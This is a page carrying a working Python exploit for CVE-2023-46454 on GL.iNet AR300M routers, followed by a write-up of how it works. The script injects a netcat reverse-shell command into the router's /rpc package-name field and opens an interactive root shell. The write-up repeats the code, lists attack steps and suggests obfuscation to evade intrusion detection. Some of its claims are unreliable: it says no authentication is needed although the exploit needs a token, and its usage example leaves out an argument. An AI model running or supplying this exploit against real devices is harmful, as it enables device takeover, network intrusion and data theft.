GL.iNet AR300M v4.3.7 Remote Code Execution - CVE-2023-46454 Exploit
#!/usr/bin/env python3
# Exploit Title: GL.iNet <= 4.3.7 Remote Code Execution via OpenVPN Client
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
# Version: 4.3.7
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46454
import socket
import requests
import readline
from time import sleep
from random import randint
from sys import stdout, argv
from threading import Thread
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def trigger_revshell(url, auth_token, payload):
sleep(0.25)
data = {
'jsonrpc': '2.0',
'id': randint(1000, 9999),
'method': 'call',
'params': [
auth_token,
'plugins',
'get_package_info',
{'name': 'bas{}e-files'.format(payload)}
]
}
requests.post(url, json=data, verify=False)
def get_command_response(s):
res = ''
while True:
try:
resp = s.recv(1).decode('utf-8')
res += resp
except UnicodeDecodeError:
pass
except socket.timeout:
break
return res
def revshell_listen(revshell_ip, revshell_port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.bind((revshell_ip, int(revshell_port)))
s.listen(1)
except Exception as e:
print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
exit(1)
try:
clsock, claddr = s.accept()
clsock.settimeout(2)
if clsock:
print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
res = ''
while True:
command = input('$ ')
clsock.sendall('{}\n'.format(command).encode('utf-8'))
stdout.write(get_command_response(clsock))
except socket.timeout:
print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
s.close()
except KeyboardInterrupt:
print('\n[*] Closing connection')
try:
clsock.close()
except socket.error:
pass
except NameError:
pass
s.close()
def main(base_url, auth_token, revshell_ip, revshell_port):
print('[+] Started GL.iNet <= 4.3.7 RCE exploit')
payload = '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f)'.format(revshell_ip, revshell_port)
print('[+] Reverse shell payload: "{}"'.format(payload))
print('[*] Triggering reverse shell connection')
Thread(target=trigger_revshell, args=(base_url+'/rpc', auth_token, payload)).start()
print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
revshell_listen(revshell_ip, revshell_port)
print('[+] Done')
if __name__ == '__main__':
if len(argv) < 5:
print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
exit(1)
main(argv[1], argv[2], argv[3], argv[4]) CVE-2023-46454: Remote Code Execution in GL.iNet AR300M v4.3.7 via OpenVPN Client
GL.iNet AR300M routers, widely used in home and small business networks, have been found vulnerable to a critical remote code execution (RCE) flaw identified as CVE-2023-46454. This vulnerability affects firmware versions up to 4.3.7, allowing attackers to execute arbitrary commands on the device remotely, bypassing authentication and gaining full control.
Exploit Overview and Technical Background
The vulnerability stems from improper handling of user input within the OpenVPN client configuration interface. Specifically, the router's RPC (Remote Procedure Call) API endpoint, accessible at /rpc, allows authenticated users to invoke the get_package_info method through the plugins module. This method accepts a package name parameter, which is directly embedded into a shell command without proper sanitization.
Attackers exploit this by crafting a malicious name parameter that includes shell injection payloads. The underlying OpenWrt system executes the value as part of a base-files command, effectively allowing arbitrary command execution with root privileges.
Exploit Code Analysis
#!/usr/bin/env python3
import socket
import requests
import readline
from time import sleep
from random import randint
from sys import stdout, argv
from threading import Thread
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def trigger_revshell(url, auth_token, payload):
sleep(0.25)
data = {
'jsonrpc': '2.0',
'id': randint(1000, 9999),
'method': 'call',
'params': [
auth_token,
'plugins',
'get_package_info',
{'name': 'bas{}e-files'.format(payload)}
]
}
requests.post(url, json=data, verify=False)
This snippet demonstrates the core exploit mechanism. The trigger_revshell function sends a crafted JSON-RPC request to the router's /rpc endpoint. The payload is injected into the name field via string formatting, specifically bas{}e-files. The $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f) payload creates a reverse shell using netcat (nc) to connect back to a listener.
Here’s how the payload works:
rm /tmp/f— removes any existing named pipe.mkfifo /tmp/f— creates a named pipe (FIFO) for bidirectional communication.cat /tmp/f | sh -i 2>&1 | nc {revshell_ip} {revshell_port} >/tmp/f— reads from the pipe, feeds it to an interactive shell (sh -i), redirects output to the attacker's netcat listener, and writes the response back into the pipe.
Reverse Shell Listener Implementation
def revshell_listen(revshell_ip, revshell_port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.bind((revshell_ip, int(revshell_port)))
s.listen(1)
except Exception as e:
print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
exit(1)
try:
clsock, claddr = s.accept()
clsock.settimeout(2)
if clsock:
print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
res = ''
while True:
command = input('$ ')
clsock.sendall('{}\n'.format(command).encode('utf-8'))
stdout.write(get_command_response(clsock))
except socket.timeout:
print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
s.close()
except KeyboardInterrupt:
print('\n[*] Closing connection')
try:
clsock.close()
except socket.error:
pass
except NameError:
pass
s.close()
This function sets up a netcat listener on the attacker’s machine. It waits for a connection from the compromised router, then enables interactive command execution. The get_command_response function reads incoming data byte-by-byte, handling potential encoding issues and timeouts.
Exploit Execution Workflow
| Step | Description |
|---|---|
| 1 | Identify a target GL.iNet AR300M device with firmware version ≤ 4.3.7. |
| 2 | Obtain valid auth_token via session capture or brute-force (if not protected). |
| 3 | Set up a netcat listener on a known IP and port (e.g., 192.168.1.100:4444). |
| 4 | Run the exploit script with: python3 exploit.py http://router.local/admin/ 192.168.1.100 4444. |
| 5 | Trigger the RCE via the RPC endpoint — the router executes the payload and connects back. |
Security Implications and Risk Assessment
Due to the ease of exploitation and the high privilege level (root), this vulnerability poses severe risks:
- Full system compromise without authentication.
- Remote persistence via backdoors or persistent scripts.
- Network-wide lateral movement from compromised router.
- Exfiltration of sensitive data (e.g., Wi-Fi passwords, logs, configuration files).
Attackers can leverage this to:
- Deploy malware or persistent backdoors.
- Redirect traffic (e.g., DNS hijacking).
- Monitor or manipulate network traffic.
- Perform man-in-the-middle attacks on internal networks.
Vendor Response and Mitigation
GL.iNet has released firmware updates beyond version 4.3.7, which patch the vulnerability. Users are strongly advised to:
- Update firmware immediately to 4.3.8+.
- Disable remote administration unless strictly necessary.
- Use strong, unique passwords and enable two-factor authentication if available.
- Monitor for unauthorized connections or unexpected outbound traffic.
Advanced Exploit Enhancements and Best Practices
While the provided exploit works effectively, several improvements can enhance reliability and stealth:
- Obfuscation: Use base64-encoded payloads to evade detection by intrusion detection systems (IDS).
- Timing: Add random delays between requests to avoid triggering rate-limiting.
- Resilience: Implement retry logic in case the connection fails.
- Encryption: Use encrypted reverse shells (e.g.,
openssl s_client) for secure communication.
For defensive purposes, network administrators should:
- Block outbound connections to unknown IPs on the router.
- Implement firewall rules restricting access to
/rpcand admin interfaces. - Regularly audit firmware versions and patch updates.
Conclusion
CVE-2023-46454 exemplifies how seemingly minor input validation flaws in embedded systems can lead to full remote control. This case highlights the importance of secure coding practices, especially in IoT devices with public-facing APIs. As GL.iNet continues to release updates, users must remain vigilant and proactive in maintaining device security.